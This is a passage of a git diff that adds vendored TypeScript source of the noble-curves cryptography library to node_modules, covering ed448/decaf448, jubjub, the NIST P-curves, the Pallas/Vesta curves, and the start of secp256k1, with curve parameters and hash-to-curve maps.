recovered x-coordinate is x. Otherwise, no + // square root exists, and the decoding fails. + return { isValid: mod(x2 * v, P) === u, value: x }; +} + +const Fp = Field(ed448P, 456, true); + +const ED448_DEF = { + // Param: a + a: BigInt(1), + // -39081. Negative number is P - number + d: BigInt( + '726838724295606890549323807888004534353641360687318060281490199180612328166730772686396383698676545930088884461843637361053498018326358' + ), + // Finite field 𝔽p over which we'll do calculations; 2n**448n - 2n**224n - 1n + Fp, + // Subgroup order: how many points curve has; + // 2n**446n - 13818066809895115352007386748515426880336692474882178609894547503885n + n: BigInt( + '181709681073901722637330951972001133588410340171829515070372549795146003961539585716195755291692375963310293709091662304773755859649779' + ), + nBitLength: 456, + // Cofactor + h: BigInt(4), + // Base point (x, y) aka generator point + Gx: BigInt( + '224580040295924300187604334099896036246789641632564134246125461686950415467406032909029192869357953282578032075146446173674602635247710' + ), + Gy: BigInt( + '298819210078481492676017930443930673437544040154080242095928241372331506189835876003536878655418784733982303233503462500531545062832660' + ), + // SHAKE256(dom4(phflag,context)||x, 114) + hash: shake256_114, + randomBytes, + adjustScalarBytes, + // dom4 + domain: (data: Uint8Array, ctx: Uint8Array, phflag: boolean) => { + if (ctx.length > 255) throw new Error(`Context is too big: ${ctx.length}`); + return concatBytes( + utf8ToBytes('SigEd448'), + new Uint8Array([phflag ? 1 : 0, ctx.length]), + ctx, + data + ); + }, + uvRatio, +} as const; + +export const ed448 = /* @__PURE__ */ twistedEdwards(ED448_DEF); +// NOTE: there is no ed448ctx, since ed448 supports ctx by default +export const ed448ph = /* @__PURE__ */ twistedEdwards({ ...ED448_DEF, prehash: shake256_64 }); + +export const x448 = /* @__PURE__ */ (() => + montgomery({ + a: BigInt(156326), + montgomeryBits: 448, + nByteLength: 57, + P: ed448P, + Gu: BigInt(5), + powPminus2: (x: bigint): bigint => { + const P = ed448P; + const Pminus3div4 = ed448_pow_Pminus3div4(x); + const Pminus3 = pow2(Pminus3div4, BigInt(2), P); + return mod(Pminus3 * x, P); // Pminus3 * x = Pminus2 + }, + adjustScalarBytes, + randomBytes, + }))(); + +/** + * Converts edwards448 public key to x448 public key. Uses formula: + * * `(u, v) = ((y-1)/(y+1), sqrt(156324)*u/x)` + * * `(x, y) = (sqrt(156324)*u/v, (1+u)/(1-u))` + * @example + * const aPub = ed448.getPublicKey(utils.randomPrivateKey()); + * x448.getSharedSecret(edwardsToMontgomery(aPub), edwardsToMontgomery(someonesPub)) + */ +export function edwardsToMontgomeryPub(edwardsPub: string | Uint8Array): Uint8Array { + const { y } = ed448.ExtendedPoint.fromHex(edwardsPub); + const _1n = BigInt(1); + return Fp.toBytes(Fp.create((y - _1n) * Fp.inv(y + _1n))); +} +export const edwardsToMontgomery = edwardsToMontgomeryPub; // deprecated + +// Hash To Curve Elligator2 Map +const ELL2_C1 = (Fp.ORDER - BigInt(3)) / BigInt(4); // 1. c1 = (q - 3) / 4 # Integer arithmetic +const ELL2_J = BigInt(156326); +function map_to_curve_elligator2_curve448(u: bigint) { + let tv1 = Fp.sqr(u); // 1. tv1 = u^2 + let e1 = Fp.eql(tv1, Fp.ONE); // 2. e1 = tv1 == 1 + tv1 = Fp.cmov(tv1, Fp.ZERO, e1); // 3. tv1 = CMOV(tv1, 0, e1) # If Z * u^2 == -1, set tv1 = 0 + let xd = Fp.sub(Fp.ONE, tv1); // 4. xd = 1 - tv1 + let x1n = Fp.neg(ELL2_J); // 5. x1n = -J + let tv2 = Fp.sqr(xd); // 6. tv2 = xd^2 + let gxd = Fp.mul(tv2, xd); // 7. gxd = tv2 * xd # gxd = xd^3 + let gx1 = Fp.mul(tv1, Fp.neg(ELL2_J)); // 8. gx1 = -J * tv1 # x1n + J * xd + gx1 = Fp.mul(gx1, x1n); // 9. gx1 = gx1 * x1n # x1n^2 + J * x1n * xd + gx1 = Fp.add(gx1, tv2); // 10. gx1 = gx1 + tv2 # x1n^2 + J * x1n * xd + xd^2 + gx1 = Fp.mul(gx1, x1n); // 11. gx1 = gx1 * x1n # x1n^3 + J * x1n^2 * xd + x1n * xd^2 + let tv3 = Fp.sqr(gxd); // 12. tv3 = gxd^2 + tv2 = Fp.mul(gx1, gxd); // 13. tv2 = gx1 * gxd # gx1 * gxd + tv3 = Fp.mul(tv3, tv2); // 14. tv3 = tv3 * tv2 # gx1 * gxd^3 + let y1 = Fp.pow(tv3, ELL2_C1); // 15. y1 = tv3^c1 # (gx1 * gxd^3)^((p - 3) / 4) + y1 = Fp.mul(y1, tv2); // 16. y1 = y1 * tv2 # gx1 * gxd * (gx1 * gxd^3)^((p - 3) / 4) + let x2n = Fp.mul(x1n, Fp.neg(tv1)); // 17. x2n = -tv1 * x1n # x2 = x2n / xd = -1 * u^2 * x1n / xd + let y2 = Fp.mul(y1, u); // 18. y2 = y1 * u + y2 = Fp.cmov(y2, Fp.ZERO, e1); // 19. y2 = CMOV(y2, 0, e1) + tv2 = Fp.sqr(y1); // 20. tv2 = y1^2 + tv2 = Fp.mul(tv2, gxd); // 21. tv2 = tv2 * gxd + let e2 = Fp.eql(tv2, gx1); // 22. e2 = tv2 == gx1 + let xn = Fp.cmov(x2n, x1n, e2); // 23. xn = CMOV(x2n, x1n, e2) # If e2, x = x1, else x = x2 + let y = Fp.cmov(y2, y1, e2); // 24. y = CMOV(y2, y1, e2) # If e2, y = y1, else y = y2 + let e3 = Fp.isOdd(y); // 25. e3 = sgn0(y) == 1 # Fix sign of y + y = Fp.cmov(y, Fp.neg(y), e2 !== e3); // 26. y = CMOV(y, -y, e2 XOR e3) + return { xn, xd, yn: y, yd: Fp.ONE }; // 27. return (xn, xd, y, 1) +} +function map_to_curve_elligator2_edwards448(u: bigint) { + let { xn, xd, yn, yd } = map_to_curve_elligator2_curve448(u); // 1. (xn, xd, yn, yd) = map_to_curve_elligator2_curve448(u) + let xn2 = Fp.sqr(xn); // 2. xn2 = xn^2 + let xd2 = Fp.sqr(xd); // 3. xd2 = xd^2 + let xd4 = Fp.sqr(xd2); // 4. xd4 = xd2^2 + let yn2 = Fp.sqr(yn); // 5. yn2 = yn^2 + let yd2 = Fp.sqr(yd); // 6. yd2 = yd^2 + let xEn = Fp.sub(xn2, xd2); // 7. xEn = xn2 - xd2 + let tv2 = Fp.sub(xEn, xd2); // 8. tv2 = xEn - xd2 + xEn = Fp.mul(xEn, xd2); // 9. xEn = xEn * xd2 + xEn = Fp.mul(xEn, yd); // 10. xEn = xEn * yd + xEn = Fp.mul(xEn, yn); // 11. xEn = xEn * yn + xEn = Fp.mul(xEn, _4n); // 12. xEn = xEn * 4 + tv2 = Fp.mul(tv2, xn2); // 13. tv2 = tv2 * xn2 + tv2 = Fp.mul(tv2, yd2); // 14. tv2 = tv2 * yd2 + let tv3 = Fp.mul(yn2, _4n); // 15. tv3 = 4 * yn2 + let tv1 = Fp.add(tv3, yd2); // 16. tv1 = tv3 + yd2 + tv1 = Fp.mul(tv1, xd4); // 17. tv1 = tv1 * xd4 + let xEd = Fp.add(tv1, tv2); // 18. xEd = tv1 + tv2 + tv2 = Fp.mul(tv2, xn); // 19. tv2 = tv2 * xn + let tv4 = Fp.mul(xn, xd4); // 20. tv4 = xn * xd4 + let yEn = Fp.sub(tv3, yd2); // 21. yEn = tv3 - yd2 + yEn = Fp.mul(yEn, tv4); // 22. yEn = yEn * tv4 + yEn = Fp.sub(yEn, tv2); // 23. yEn = yEn - tv2 + tv1 = Fp.add(xn2, xd2); // 24. tv1 = xn2 + xd2 + tv1 = Fp.mul(tv1, xd2); // 25. tv1 = tv1 * xd2 + tv1 = Fp.mul(tv1, xd); // 26. tv1 = tv1 * xd + tv1 = Fp.mul(tv1, yn2); // 27. tv1 = tv1 * yn2 + tv1 = Fp.mul(tv1, BigInt(-2)); // 28. tv1 = -2 * tv1 + let yEd = Fp.add(tv2, tv1); // 29. yEd = tv2 + tv1 + tv4 = Fp.mul(tv4, yd2); // 30. tv4 = tv4 * yd2 + yEd = Fp.add(yEd, tv4); // 31. yEd = yEd + tv4 + tv1 = Fp.mul(xEd, yEd); // 32. tv1 = xEd * yEd + let e = Fp.eql(tv1, Fp.ZERO); // 33. e = tv1 == 0 + xEn = Fp.cmov(xEn, Fp.ZERO, e); // 34. xEn = CMOV(xEn, 0, e) + xEd = Fp.cmov(xEd, Fp.ONE, e); // 35. xEd = CMOV(xEd, 1, e) + yEn = Fp.cmov(yEn, Fp.ONE, e); // 36. yEn = CMOV(yEn, 1, e) + yEd = Fp.cmov(yEd, Fp.ONE, e); // 37. yEd = CMOV(yEd, 1, e) + + const inv = Fp.invertBatch([xEd, yEd]); // batch division + return { x: Fp.mul(xEn, inv[0]), y: Fp.mul(yEn, inv[1]) }; // 38. return (xEn, xEd, yEn, yEd) +} + +const htf = /* @__PURE__ */ (() => + createHasher( + ed448.ExtendedPoint, + (scalars: bigint[]) => map_to_curve_elligator2_edwards448(scalars[0]), + { + DST: 'edwards448_XOF:SHAKE256_ELL2_RO_', + encodeDST: 'edwards448_XOF:SHAKE256_ELL2_NU_', + p: Fp.ORDER, + m: 1, + k: 224, + expand: 'xof', + hash: shake256, + } + ))(); +export const hashToCurve = /* @__PURE__ */ (() => htf.hashToCurve)(); +export const encodeToCurve = /* @__PURE__ */ (() => htf.encodeToCurve)(); + +function assertDcfPoint(other: unknown) { + if (!(other instanceof DcfPoint)) throw new Error('DecafPoint expected'); +} + +// 1-d +const ONE_MINUS_D = BigInt('39082'); +// 1-2d +const ONE_MINUS_TWO_D = BigInt('78163'); +// √(-d) +const SQRT_MINUS_D = BigInt( + '98944233647732219769177004876929019128417576295529901074099889598043702116001257856802131563896515373927712232092845883226922417596214' +); +// 1 / √(-d) +const INVSQRT_MINUS_D = BigInt( + '315019913931389607337177038330951043522456072897266928557328499619017160722351061360252776265186336876723201881398623946864393857820716' +); +// Calculates 1/√(number) +const invertSqrt = (number: bigint) => uvRatio(_1n, number); + +const MAX_448B = BigInt( + '0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' +); +const bytes448ToNumberLE = (bytes: Uint8Array) => + ed448.CURVE.Fp.create(bytesToNumberLE(bytes) & MAX_448B); + +type ExtendedPoint = ExtPointType; + +// Computes Elligator map for Decaf +// https://datatracker.ietf.org/doc/html/draft-irtf-cfrg-ristretto255-decaf448-07#name-element-derivation-2 +function calcElligatorDecafMap(r0: bigint): ExtendedPoint { + const { d } = ed448.CURVE; + const P = ed448.CURVE.Fp.ORDER; + const mod = ed448.CURVE.Fp.create; + + const r = mod(-(r0 * r0)); // 1 + const u0 = mod(d * (r - _1n)); // 2 + const u1 = mod((u0 + _1n) * (u0 - r)); // 3 + + const { isValid: was_square, value: v } = uvRatio(ONE_MINUS_TWO_D, mod((r + _1n) * u1)); // 4 + + let v_prime = v; // 5 + if (!was_square) v_prime = mod(r0 * v); + + let sgn = _1n; // 6 + if (!was_square) sgn = mod(-_1n); + + const s = mod(v_prime * (r + _1n)); // 7 + let s_abs = s; + if (isNegativeLE(s, P)) s_abs = mod(-s); + + const s2 = s * s; + const W0 = mod(s_abs * _2n); // 8 + const W1 = mod(s2 + _1n); // 9 + const W2 = mod(s2 - _1n); // 10 + const W3 = mod(v_prime * s * (r - _1n) * ONE_MINUS_TWO_D + sgn); // 11 + return new ed448.ExtendedPoint(mod(W0 * W3), mod(W2 * W1), mod(W1 * W3), mod(W0 * W2)); +} + +/** + * Each ed448/ExtendedPoint has 4 different equivalent points. This can be + * a source of bugs for protocols like ring signatures. Decaf was created to solve this. + * Decaf point operates in X:Y:Z:T extended coordinates like ExtendedPoint, + * but it should work in its own namespace: do not combine those two. + * https://datatracker.ietf.org/doc/html/draft-irtf-cfrg-ristretto255-decaf448 + */ +class DcfPoint { + static BASE: DcfPoint; + static ZERO: DcfPoint; + // Private property to discourage combining ExtendedPoint + DecafPoint + // Always use Decaf encoding/decoding instead. + constructor(private readonly ep: ExtendedPoint) {} + + static fromAffine(ap: AffinePoint) { + return new DcfPoint(ed448.ExtendedPoint.fromAffine(ap)); + } + + /** + * Takes uniform output of 112-byte hash function like shake256 and converts it to `DecafPoint`. + * The hash-to-group operation applies Elligator twice and adds the results. + * **Note:** this is one-way map, there is no conversion from point to hash. + * https://datatracker.ietf.org/doc/html/draft-irtf-cfrg-ristretto255-decaf448-07#name-element-derivation-2 + * @param hex 112-byte output of a hash function + */ + static hashToCurve(hex: Hex): DcfPoint { + hex = ensureBytes('decafHash', hex, 112); + const r1 = bytes448ToNumberLE(hex.slice(0, 56)); + const R1 = calcElligatorDecafMap(r1); + const r2 = bytes448ToNumberLE(hex.slice(56, 112)); + const R2 = calcElligatorDecafMap(r2); + return new DcfPoint(R1.add(R2)); + } + + /** + * Converts decaf-encoded string to decaf point. + * https://datatracker.ietf.org/doc/html/draft-irtf-cfrg-ristretto255-decaf448-07#name-decode-2 + * @param hex Decaf-encoded 56 bytes. Not every 56-byte string is valid decaf encoding + */ + static fromHex(hex: Hex): DcfPoint { + hex = ensureBytes('decafHex', hex, 56); + const { d } = ed448.CURVE; + const P = ed448.CURVE.Fp.ORDER; + const mod = ed448.CURVE.Fp.create; + const emsg = 'DecafPoint.fromHex: the hex is not valid encoding of DecafPoint'; + const s = bytes448ToNumberLE(hex); + + // 1. Check that s_bytes is the canonical encoding of a field element, or else abort. + // 2. Check that s is non-negative, or else abort + if (!equalBytes(numberToBytesLE(s, 56), hex) || isNegativeLE(s, P)) throw new Error(emsg); + + const s2 = mod(s * s); // 1 + const u1 = mod(_1n + s2); // 2 + const u1sq = mod(u1 * u1); + const u2 = mod(u1sq - _4n * d * s2); // 3 + + const { isValid, value: invsqrt } = invertSqrt(mod(u2 * u1sq)); // 4 + + let u3 = mod((s + s) * invsqrt * u1 * SQRT_MINUS_D); // 5 + if (isNegativeLE(u3, P)) u3 = mod(-u3); + + const x = mod(u3 * invsqrt * u2 * INVSQRT_MINUS_D); // 6 + const y = mod((_1n - s2) * invsqrt * u1); // 7 + const t = mod(x * y); // 8 + + if (!isValid) throw new Error(emsg); + return new DcfPoint(new ed448.ExtendedPoint(x, y, _1n, t)); + } + + /** + * Encodes decaf point to Uint8Array. + * https://datatracker.ietf.org/doc/html/draft-irtf-cfrg-ristretto255-decaf448-07#name-encode-2 + */ + toRawBytes(): Uint8Array { + let { ex: x, ey: _y, ez: z, et: t } = this.ep; + const P = ed448.CURVE.Fp.ORDER; + const mod = ed448.CURVE.Fp.create; + + const u1 = mod(mod(x + t) * mod(x - t)); // 1 + const x2 = mod(x * x); + const { value: invsqrt } = invertSqrt(mod(u1 * ONE_MINUS_D * x2)); // 2 + + let ratio = mod(invsqrt * u1 * SQRT_MINUS_D); // 3 + if (isNegativeLE(ratio, P)) ratio = mod(-ratio); + + const u2 = mod(INVSQRT_MINUS_D * ratio * z - t); // 4 + + let s = mod(ONE_MINUS_D * invsqrt * x * u2); // 5 + if (isNegativeLE(s, P)) s = mod(-s); + + return numberToBytesLE(s, 56); + } + + toHex(): string { + return bytesToHex(this.toRawBytes()); + } + + toString(): string { + return this.toHex(); + } + + // Compare one point to another. + // https://datatracker.ietf.org/doc/html/draft-irtf-cfrg-ristretto255-decaf448-07#name-equals-2 + equals(other: DcfPoint): boolean { + assertDcfPoint(other); + const { ex: X1, ey: Y1 } = this.ep; + const { ex: X2, ey: Y2 } = other.ep; + const mod = ed448.CURVE.Fp.create; + // (x1 * y2 == y1 * x2) + return mod(X1 * Y2) === mod(Y1 * X2); + } + + add(other: DcfPoint): DcfPoint { + assertDcfPoint(other); + return new DcfPoint(this.ep.add(other.ep)); + } + + subtract(other: DcfPoint): DcfPoint { + assertDcfPoint(other); + return new DcfPoint(this.ep.subtract(other.ep)); + } + + multiply(scalar: bigint): DcfPoint { + return new DcfPoint(this.ep.multiply(scalar)); + } + + multiplyUnsafe(scalar: bigint): DcfPoint { + return new DcfPoint(this.ep.multiplyUnsafe(scalar)); + } +} +export const DecafPoint = /* @__PURE__ */ (() => { + // decaf448 base point is ed448 base x 2 + // https://github.com/dalek-cryptography/curve25519-dalek/blob/59837c6ecff02b77b9d5ff84dbc239d0cf33ef90/vendor/ristretto.sage#L699 + if (!DcfPoint.BASE) DcfPoint.BASE = new DcfPoint(ed448.ExtendedPoint.BASE).multiply(_2n); + if (!DcfPoint.ZERO) DcfPoint.ZERO = new DcfPoint(ed448.ExtendedPoint.ZERO); + return DcfPoint; +})(); + +// Hashing to decaf448. https://www.rfc-editor.org/rfc/rfc9380#appendix-C +export const hashToDecaf448 = (msg: Uint8Array, options: htfBasicOpts) => { + const d = options.DST; + const DST = typeof d === 'string' ? utf8ToBytes(d) : d; + const uniform_bytes = expand_message_xof(msg, DST, 112, 224, shake256); + const P = DcfPoint.hashToCurve(uniform_bytes); + return P; +}; +export const hash_to_decaf448 = hashToDecaf448; // legacy diff --git a/node_modules/@noble/curves/src/index.ts b/node_modules/@noble/curves/src/index.ts new file mode 100644 index 000000000000..0ffab52761dd --- /dev/null +++ b/node_modules/@noble/curves/src/index.ts @@ -0,0 +1 @@ +throw new Error('Incorrect usage. Import submodules instead'); diff --git a/node_modules/@noble/curves/src/jubjub.ts b/node_modules/@noble/curves/src/jubjub.ts new file mode 100644 index 000000000000..a600d3a2b14b --- /dev/null +++ b/node_modules/@noble/curves/src/jubjub.ts @@ -0,0 +1,58 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +import { sha512 } from '@noble/hashes/sha512'; +import { concatBytes, randomBytes, utf8ToBytes } from '@noble/hashes/utils'; +import { twistedEdwards } from './abstract/edwards.js'; +import { blake2s } from '@noble/hashes/blake2s'; +import { Field } from './abstract/modular.js'; + +/** + * jubjub Twisted Edwards curve. + * https://neuromancer.sk/std/other/JubJub + * jubjub does not use EdDSA, so `hash`/sha512 params are passed because interface expects them. + */ + +export const jubjub = /* @__PURE__ */ twistedEdwards({ + // Params: a, d + a: BigInt('0x73eda753299d7d483339d80809a1d80553bda402fffe5bfeffffffff00000000'), + d: BigInt('0x2a9318e74bfa2b48f5fd9207e6bd7fd4292d7f6d37579d2601065fd6d6343eb1'), + // Finite field 𝔽p over which we'll do calculations + // Same value as bls12-381 Fr (not Fp) + Fp: Field(BigInt('0x73eda753299d7d483339d80809a1d80553bda402fffe5bfeffffffff00000001')), + // Subgroup order: how many points curve has + n: BigInt('0xe7db4ea6533afa906673b0101343b00a6682093ccc81082d0970e5ed6f72cb7'), + // Cofactor + h: BigInt(8), + // Base point (x, y) aka generator point + Gx: BigInt('0x11dafe5d23e1218086a365b99fbf3d3be72f6afd7d1f72623e6b071492d1122b'), + Gy: BigInt('0x1d523cf1ddab1a1793132e78c866c0c33e26ba5cc220fed7cc3f870e59d292aa'), + hash: sha512, + randomBytes, +} as const); + +const GH_FIRST_BLOCK = utf8ToBytes( + '096b36a5804bfacef1691e173c366a47ff5ba84a44f26ddd7e8d9f79d5b42df0' +); + +// Returns point at JubJub curve which is prime order and not zero +export function groupHash(tag: Uint8Array, personalization: Uint8Array) { + const h = blake2s.create({ personalization, dkLen: 32 }); + h.update(GH_FIRST_BLOCK); + h.update(tag); + // NOTE: returns ExtendedPoint, in case it will be multiplied later + let p = jubjub.ExtendedPoint.fromHex(h.digest()); + // NOTE: cannot replace with isSmallOrder, returns Point*8 + p = p.multiply(jubjub.CURVE.h); + if (p.equals(jubjub.ExtendedPoint.ZERO)) throw new Error('Point has small order'); + return p; +} + +export function findGroupHash(m: Uint8Array, personalization: Uint8Array) { + const tag = concatBytes(m, new Uint8Array([0])); + for (let i = 0; i < 256; i++) { + tag[tag.length - 1] = i; + try { + return groupHash(tag, personalization); + } catch (e) {} + } + throw new Error('findGroupHash tag overflow'); +} diff --git a/node_modules/@noble/curves/src/p256.ts b/node_modules/@noble/curves/src/p256.ts new file mode 100644 index 000000000000..164c47064991 --- /dev/null +++ b/node_modules/@noble/curves/src/p256.ts @@ -0,0 +1,48 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +import { createCurve } from './_shortw_utils.js'; +import { sha256 } from '@noble/hashes/sha256'; +import { Field } from './abstract/modular.js'; +import { mapToCurveSimpleSWU } from './abstract/weierstrass.js'; +import { createHasher } from './abstract/hash-to-curve.js'; + +// NIST secp256r1 aka p256 +// https://www.secg.org/sec2-v2.pdf, https://neuromancer.sk/std/nist/P-256 + +const Fp = Field(BigInt('0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff')); +const CURVE_A = Fp.create(BigInt('-3')); +const CURVE_B = BigInt('0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b'); + +// prettier-ignore +export const p256 = createCurve({ + a: CURVE_A, // Equation params: a, b + b: CURVE_B, + Fp, // Field: 2n**224n * (2n**32n-1n) + 2n**192n + 2n**96n-1n + // Curve order, total count of valid points in the field + n: BigInt('0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551'), + // Base (generator) point (x, y) + Gx: BigInt('0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296'), + Gy: BigInt('0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5'), + h: BigInt(1), + lowS: false, +} as const, sha256); +export const secp256r1 = p256; + +const mapSWU = /* @__PURE__ */ (() => + mapToCurveSimpleSWU(Fp, { + A: CURVE_A, + B: CURVE_B, + Z: Fp.create(BigInt('-10')), + }))(); + +const htf = /* @__PURE__ */ (() => + createHasher(secp256r1.ProjectivePoint, (scalars: bigint[]) => mapSWU(scalars[0]), { + DST: 'P256_XMD:SHA-256_SSWU_RO_', + encodeDST: 'P256_XMD:SHA-256_SSWU_NU_', + p: Fp.ORDER, + m: 1, + k: 128, + expand: 'xmd', + hash: sha256, + }))(); +export const hashToCurve = /* @__PURE__ */ (() => htf.hashToCurve)(); +export const encodeToCurve = /* @__PURE__ */ (() => htf.encodeToCurve)(); diff --git a/node_modules/@noble/curves/src/p384.ts b/node_modules/@noble/curves/src/p384.ts new file mode 100644 index 000000000000..436de9bcc250 --- /dev/null +++ b/node_modules/@noble/curves/src/p384.ts @@ -0,0 +1,52 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +import { createCurve } from './_shortw_utils.js'; +import { sha384 } from '@noble/hashes/sha512'; +import { Field } from './abstract/modular.js'; +import { mapToCurveSimpleSWU } from './abstract/weierstrass.js'; +import { createHasher } from './abstract/hash-to-curve.js'; + +// NIST secp384r1 aka p384 +// https://www.secg.org/sec2-v2.pdf, https://neuromancer.sk/std/nist/P-384 + +// Field over which we'll do calculations. +// prettier-ignore +const P = BigInt('0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffeffffffff0000000000000000ffffffff'); +const Fp = Field(P); +const CURVE_A = Fp.create(BigInt('-3')); +// prettier-ignore +const CURVE_B = BigInt('0xb3312fa7e23ee7e4988e056be3f82d19181d9c6efe8141120314088f5013875ac656398d8a2ed19d2a85c8edd3ec2aef'); + +// prettier-ignore +export const p384 = createCurve({ + a: CURVE_A, // Equation params: a, b + b: CURVE_B, + Fp, // Field: 2n**384n - 2n**128n - 2n**96n + 2n**32n - 1n + // Curve order, total count of valid points in the field. + n: BigInt('0xffffffffffffffffffffffffffffffffffffffffffffffffc7634d81f4372ddf581a0db248b0a77aecec196accc52973'), + // Base (generator) point (x, y) + Gx: BigInt('0xaa87ca22be8b05378eb1c71ef320ad746e1d3b628ba79b9859f741e082542a385502f25dbf55296c3a545e3872760ab7'), + Gy: BigInt('0x3617de4a96262c6f5d9e98bf9292dc29f8f41dbd289a147ce9da3113b5f0b8c00a60b1ce1d7e819d7a431d7c90ea0e5f'), + h: BigInt(1), + lowS: false, +} as const, sha384); +export const secp384r1 = p384; + +const mapSWU = /* @__PURE__ */ (() => + mapToCurveSimpleSWU(Fp, { + A: CURVE_A, + B: CURVE_B, + Z: Fp.create(BigInt('-12')), + }))(); + +const htf = /* @__PURE__ */ (() => + createHasher(secp384r1.ProjectivePoint, (scalars: bigint[]) => mapSWU(scalars[0]), { + DST: 'P384_XMD:SHA-384_SSWU_RO_', + encodeDST: 'P384_XMD:SHA-384_SSWU_NU_', + p: Fp.ORDER, + m: 1, + k: 192, + expand: 'xmd', + hash: sha384, + }))(); +export const hashToCurve = /* @__PURE__ */ (() => htf.hashToCurve)(); +export const encodeToCurve = /* @__PURE__ */ (() => htf.encodeToCurve)(); diff --git a/node_modules/@noble/curves/src/p521.ts b/node_modules/@noble/curves/src/p521.ts new file mode 100644 index 000000000000..cc9fbbcb6a5e --- /dev/null +++ b/node_modules/@noble/curves/src/p521.ts @@ -0,0 +1,68 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +import { createCurve } from './_shortw_utils.js'; +import { sha512 } from '@noble/hashes/sha512'; +import { Field } from './abstract/modular.js'; +import { mapToCurveSimpleSWU } from './abstract/weierstrass.js'; +import { createHasher } from './abstract/hash-to-curve.js'; + +// NIST secp521r1 aka p521 +// Note that it's 521, which differs from 512 of its hash function. +// https://www.secg.org/sec2-v2.pdf, https://neuromancer.sk/std/nist/P-521 + +// Field over which we'll do calculations. +// prettier-ignore +const P = BigInt('0x1ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'); +const Fp = Field(P); + +const CURVE = { + a: Fp.create(BigInt('-3')), + b: BigInt( + '0x0051953eb9618e1c9a1f929a21a0b68540eea2da725b99b315f3b8b489918ef109e156193951ec7e937b1652c0bd3bb1bf073573df883d2c34f1ef451fd46b503f00' + ), + Fp, + n: BigInt( + '0x01fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffa51868783bf2f966b7fcc0148f709a5d03bb5c9b8899c47aebb6fb71e91386409' + ), + Gx: BigInt( + '0x00c6858e06b70404e9cd9e3ecb662395b4429c648139053fb521f828af606b4d3dbaa14b5e77efe75928fe1dc127a2ffa8de3348b3c1856a429bf97e7e31c2e5bd66' + ), + Gy: BigInt( + '0x011839296a789a3bc0045c8a5fb42c7d1bd998f54449579b446817afbd17273e662c97ee72995ef42640c550b9013fad0761353c7086a272c24088be94769fd16650' + ), + h: BigInt(1), +}; + +// prettier-ignore +export const p521 = createCurve({ + a: CURVE.a, // Equation params: a, b + b: CURVE.b, + Fp, // Field: 2n**521n - 1n + // Curve order, total count of valid points in the field + n: CURVE.n, + Gx: CURVE.Gx, // Base point (x, y) aka generator point + Gy: CURVE.Gy, + h: CURVE.h, + lowS: false, + allowedPrivateKeyLengths: [130, 131, 132] // P521 keys are variable-length. Normalize to 132b +} as const, sha512); +export const secp521r1 = p521; + +const mapSWU = /* @__PURE__ */ (() => + mapToCurveSimpleSWU(Fp, { + A: CURVE.a, + B: CURVE.b, + Z: Fp.create(BigInt('-4')), + }))(); + +const htf = /* @__PURE__ */ (() => + createHasher(secp521r1.ProjectivePoint, (scalars: bigint[]) => mapSWU(scalars[0]), { + DST: 'P521_XMD:SHA-512_SSWU_RO_', + encodeDST: 'P521_XMD:SHA-512_SSWU_NU_', + p: Fp.ORDER, + m: 1, + k: 256, + expand: 'xmd', + hash: sha512, + }))(); +export const hashToCurve = /* @__PURE__ */ (() => htf.hashToCurve)(); +export const encodeToCurve = /* @__PURE__ */ (() => htf.encodeToCurve)(); diff --git a/node_modules/@noble/curves/src/pasta.ts b/node_modules/@noble/curves/src/pasta.ts new file mode 100644 index 000000000000..faed89e96308 --- /dev/null +++ b/node_modules/@noble/curves/src/pasta.ts @@ -0,0 +1,31 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +import { sha256 } from '@noble/hashes/sha256'; +import { weierstrass } from './abstract/weierstrass.js'; +import { getHash } from './_shortw_utils.js'; +import * as mod from './abstract/modular.js'; + +export const p = BigInt('0x40000000000000000000000000000000224698fc094cf91b992d30ed00000001'); +export const q = BigInt('0x40000000000000000000000000000000224698fc0994a8dd8c46eb2100000001'); + +// https://neuromancer.sk/std/other/Pallas +export const pallas = weierstrass({ + a: BigInt(0), + b: BigInt(5), + Fp: mod.Field(p), + n: q, + Gx: mod.mod(BigInt(-1), p), + Gy: BigInt(2), + h: BigInt(1), + ...getHash(sha256), +}); +// https://neuromancer.sk/std/other/Vesta +export const vesta = weierstrass({ + a: BigInt(0), + b: BigInt(5), + Fp: mod.Field(q), + n: p, + Gx: mod.mod(BigInt(-1), q), + Gy: BigInt(2), + h: BigInt(1), + ...getHash(sha256), +}); diff --git a/node_modules/@noble/curves/src/secp256k1.ts b/node_modules/@noble/curves/src/secp256k1.ts new file mode 100644 index 000000000000..7119222db999 --- /dev/null +++ b/node_modules/@noble/curves/src/secp256k1.ts @@ -0,0 +1,274 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +import { sha256 } from '@noble/hashes/sha256'; +import { randomBytes } from '@noble/hashes/utils'; +import { Field, mod, pow2 } from './abstract/modular.js'; +import { ProjPointType as PointType, mapToCurveSimpleSWU } from './abstract/weierstrass.js'; +import type { Hex, PrivKey } from './abstract/utils.js'; +import { bytesToNumberBE, concatBytes, ensureBytes, numberToBytesBE } from './abstract/utils.js'; +import { createHasher, isogenyMap } from './abstract/hash-to-curve.js'; +import { createCurve } from './_shortw_utils.js'; + +const secp256k1P = BigInt('0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f'); +const secp256k1N = BigInt('0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141'); +const _1n = BigInt(1); +const _2n = BigInt(2); +const divNearest = (a: bigint, b: bigint) => (a + b / _2n) / b; + +/** + * √n = n^((p+1)/4) for fields p = 3 mod 4. We unwrap the loop and multiply bit-by-bit. + * 